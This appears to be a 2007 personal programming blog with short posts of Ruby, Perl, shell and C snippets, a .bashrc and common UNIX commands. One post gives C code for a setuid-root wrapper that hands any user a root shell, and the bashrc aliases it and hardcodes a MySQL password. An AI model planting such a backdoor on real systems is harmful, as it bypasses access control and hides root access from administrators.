Six happy numbers

Posted by root Tue, 08 Jan 2008 06:22:00 GMT

numbers = Hash.new

loop{numbers[rand(50)]=true && numbers.keys.size==6 && break}

p numbers.keys.sort.join(%q/ /)

or just

p (1..49).to_a.sort_by{rand}.[](1..6)

Posted in  | Tags  | no comments

getting root acccess without sudo

Posted by root Sat, 29 Dec 2007 15:31:00 GMT

#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char** argv)
{
    int root_id = 0;
    char *command = argv[1];

    if(!command)
        command = "/bin/bash";

    setuid(root_id);
    system(command);
    exit(0);
}
root# gcc -o temproot temproot.c
root# chmod +s temproot
nobody$ alias root=’temproot “su – root”’
nobody$ root

Posted in  | Tags  | no comments

bashrc

Posted by root Sat, 29 Dec 2007 15:28:00 GMT

export PATH=$PATH:$HOME/bin:/usr/sbin:/sbin:$HOME/network
export TERM=linux
export gemdoc=`gem environment gemdir`/doc

function prompt_set {

 local GRAY="\[\033[1;30m\]"
 local LIGHT_GRAY="\[\033[0;37m\]"
 local CYAN="\[\033[0;36m\]"
 local LIGHT_CYAN="\[\033[1;36m\]"
 local NO_COLOUR="\[\033[0m\]"

 case $TERM in
    xterm*|rxvt*)
        local TITLEBAR='\[\033]0;\u@\h:\w\007\]'
        ;;
    *)
        local TITLEBAR=""
        ;;
 esac

 local temp=$(tty)
 local GRAD1=${temp:5}
PS1="$GRAY-$CYAN-$LIGHT_CYAN(\
$CYAN\u$GRAY@$CYAN\h$LIGHT_CYAN)$CYAN-$LIGHT_CYAN(\
$CYAN\$(date +%H:%M)$GRAY:$CYAN\w\
$LIGHT_CYAN)$CYAN-$GRAY-$LIGHT_GRAY "
PS2="$LIGHT_CYAN-$CYAN-$GRAY-$NO_COLOUR "
}

prompt_set

alias get_visits="ssh l 'tail /home/postgres/stats.txt'"
alias __='history | tail -2 | head -1'
alias r="temproot `id -u`'"
alias sql='mysql --password=pass'
alias ..='cd ..';
alias ...='cd ../..';
alias ,='cd -'
alias e=exit
alias e=exit
alias v=vim
alias l='ls -lc -h --color=yes'
alias c=clear
alias top='top -d1'
alias hc='history -c'
alias gre=grep
alias gr=gre
alias gpre=gr
alias grp=gpre
alias le=less
alias mroe=more
alias mreo=mroe
alias h=history
alias pe='perl -e'
alias pc='perl -c'
alias t=date
alias d=date

function FOR {
        local count=$1
        start=0
        shift
        while [ $start -lt $count ]
        do
        $*
        sleep 1
                clear
                let start=$start+1
        done
}

Posted in  | no comments

nmap cleaner in Perl

Posted by root Sat, 29 Dec 2007 15:26:00 GMT

$”=” @ARGV”;/^\D+/||print for`nmap$”`

Posted in ,  | no comments

List Values and Arrays

Posted by root Fri, 30 Nov 2007 14:28:00 GMT

Perl

($a, $b) = (1, 2);
 @arr    = (1, 2);

Python
 a, b = 1, 2
 arr  = 1, 2;

Ruby
 a, b = 1, 2
 arr  = 1, 2
 arr  = 1,2, *[11,22] # the same as 
 arr  = [1,2, [11,22]].flatten
the ’*’ example was stolen from Ola Bini’s blog

Posted in , ,  | Tags  | no comments

auto_link and highlight

Posted by root Fri, 02 Nov 2007 02:29:00 GMT

auto_link(text){|link| hightlight(link, phrase)}

Tags  | no comments

Opera password recovery

Posted by root Tue, 30 Oct 2007 00:44:00 GMT

Unwand – fast and free program for wand password recovery.

Posted in  | Tags ,  | no comments

Everyday UNIX Commands

Posted by root Thu, 23 Aug 2007 15:23:00 GMT


find
Recursively find and print all files, having 'txt' extention:
find ./ -type f -name "*.txt"

The same but case insensititve:
find ./ -type f -iname "*.txt"

cat all found 'txt' files:
find ./ -type f -name "*.txt" -exec cat '{}' \;

rm all found 'txt' files, starting with capital letter:
find ./ -type f -name "[A-Z]*.txt" -exec rm '{}' \;

rm all except 'txt' files:
find ./ -type f ! -name "*.txt" -exec rm '{}' \;


grep
Find and print all lines in all files, containing 'tester':
grep tester *

Find and print all lines in all files, which do not contain 'tester':
grep -v tester *

The same but recursively:
grep -r -v tester *

The same but case insensitive:
grep -i -v tester *


processes
simple Perl daemon:
perl -e 'use POSIX qw(setsid); fork; setsid; sleep 1, print $c++,$/ while 1'

checking the process existance: ps x perl
another way to find the process id: pgrep perl
kill all processes, related to perl interpreter: pkill perl


archive
Archive directory and all files and sub-directories:
tar cvf home.tar /home

The same but gzip compresses:
tar zcvf home.tar.gz /home

The same but bzip2 compressed:
tar jcvf home.tar.bz2 /home

"untar" gzip compressed archive:
tar zxvf home.tar.gz

"untar" bzip2 compressed archive:
tar jxvf home.tar.gz


column extraction
Let's assume that we need all user names from "/etc/passwd", which is the 1st column (the columns delimiter is : ):

cut command
cat /etc/passwd | cut -f1 -d:

awk script
cat /etc/passwd | awk -F':' '{print $1}'

Perl source code
perl -ne '/(\w+)/ && print $1,$/' /etc/passwd

Ruby source code
ruby -ne 'puts $1 if /(\w+)/' /etc/passwd


ISO image manipulation
ISO image creation:
dd if=/dev/cdrom of=/tmp/cdr.iso
mkisofs -rJTV "books label" /home/books > /tmp/books.iso

ISO image reading:
mount -o loop -t iso9660 /tmp/books.iso /mnt/isoimage



Posted in  | Tags ,  | no comments

Ruby one-liners (file manipulation)

Posted by root Fri, 20 Jul 2007 17:11:00 GMT


# number each line of a file
ruby -ne 'puts "#{$.}\t#{$_}"' file.txt

# print all non-blank lines
ruby -pe '$_.chomp.empty? and next' file.txt

# number and print all non-blank lines
ruby -ne '$_.chomp.empty? or print $.,"\t", $_' file.txt

# number and print each blank line
ruby -ne 'puts $. if $_.chomp.empty?' file.txt

# reverse order of lines (`tac` style)
ruby -e 'puts File.open($<.filename).readlines.reverse' file.txt

# print matched string from lines, matching the pattern
ruby -ne 'puts $_.scan(/^\w+/)' /etc/passwd

# triple space a file and reverse order of lines
ruby -e '$,="\n\n\n"; puts File.readlines($<.filename).reverse.join' file.txt

# print first line of a file (emulate 'head -1')
ruby -ne 'puts $_; break' file.txt
ruby -pe '$. == 1 or break' file.txt

# print last line of a file (emulates 'tail -1')
ruby -ne 'END{puts $_}' file.txt

# print last line number (emulates 'wc -l')
ruby -e 'loop{gets or break}; puts $.' file.txt

# print only lines that match a regular expression (emulates 'grep')
ruby -pe 'next if not /regex/' file.txt

# print only lines that do not match a regular expression (emulates 'grep -v')
ruby -pe 'next if /regex/' file.txt

# print section of file between two regular expressions, /^root/ and /^nobody/
ruby -ne 'puts $_ if /^root/../^nobody/' file.txt

# print file and remove duplicate, consecutive lines from a file (emulates 'uniq')
ruby -ne '$_.eql? $; or puts $_;$; = $_;' file.txt

# print file except for blank lines
ruby -pe 'next if $_.chomp.empty?' file.txt
ruby -pe 'next if /^\s*$/' file.txt
ruby -pe 'next if $_.split(/\S+/).size < 2' file.txt

# print file except for lines, starting with digit (unclear and inefficient)
ruby -pe 'next if (48..57).to_a.include?($_.split(//)[0][0])' file.txt

# delete all leading blank lines at top of file
ruby -pe '$,="$." if not $_.chomp.empty?; $, or next' file.txt

# print section of file from regex to end of file
ruby -pe '$,="$." if /regex/; $, or next' file.txt

# delete leading and trailing whitespace from each line
ruby -pe '$_.strip!.sub!(/$/, "\n")' file.txt
ruby -ne 'puts $_.strip! + $/' file.txt

# delete leading whitespace from the beginning of each line
ruby -ne 'puts $_.lstrip! || $_' file.txt

# convert DOS newlines (CR/LF) to Unix format (LF)
ruby -i -pe 'sub(/\r\n/, "\n")' file.txt

Posted in ,  | Tags ,  | 4 comments

compare the ip address of different hostnames

Posted by root Fri, 20 Jul 2007 10:38:00 GMT


require "socket"

unless ARGV.size == 2
 raise ArgumentError,
   "Expected two hostnames, got #{ARGV.size}"
end

h1,h2 = ARGV

begin
  h1,h2 = Socket::getaddrinfo(h1, 7)[0][3], Socket::getaddrinfo(h2, 7)[0][3]
rescue
  print "#{$!}...\texiting\n"
  exit
end

if h1.eql? h2
  puts "hosts have the same ip address: #{h1}"
else
  puts "hosts differ: #{h1} #{h2}"
end

Posted in  | Tags ,  | no comments

Older posts: 1 ... 7 8 9 10